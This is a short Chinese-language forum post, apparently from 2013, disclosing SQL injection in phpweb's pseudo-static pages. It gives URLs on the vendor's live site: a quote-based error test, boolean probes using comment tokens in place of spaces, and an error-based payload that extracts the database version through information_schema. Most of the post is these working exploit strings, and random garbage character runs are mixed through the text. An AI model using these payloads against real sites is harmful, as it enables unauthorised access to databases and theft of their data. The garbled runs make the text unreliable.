phpweb所有的整站程序伪静态页面都存在sql注入
' {) q" E% Q8 ^2 |) M
3 O- ^( k1 ^: g+ _6 i5 O7 C; C主站：http://phpweb.net/1 P6 D a) P, [2 V, M
加’检测：
/ j( L& {% }: W
3 ?+ Q! E4 P! `9 F7 p9 Shttp://www.phpweb.net/down/html/?772′.html5 M6 U6 Q) N, r8 T
1 n( a/ ?7 w# r4 l
出错6 E" C4 }4 H& ?7 |' r, C
存在注入。
& `) L' O4 b- f不能用空格，只能用/*罗
" e7 G5 V6 ]' Xhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
7 s. }, E( \/ a* y* R! y' p4 t
6 R R7 K; l* d" Q/ l" Vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.2 x9 V' @: u% j: g; ?" e
爆数据库版本：! Y* z% n" ~# p% f( A
w/ _0 r; x4 ?+ U. C* {4 I
?/ S8 G5 F7 R9 q D3 E( m7 j
12 Z7 O# ~' s0 _" y: O
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
) Z3 n4 P7 |- d3 U更新日期: 2013-01-03 13:39:50
, B8 C' I$ i% T3 O7 {' M2 \ |
发表于 2013-1-4 19:46:42
收藏
支持
反对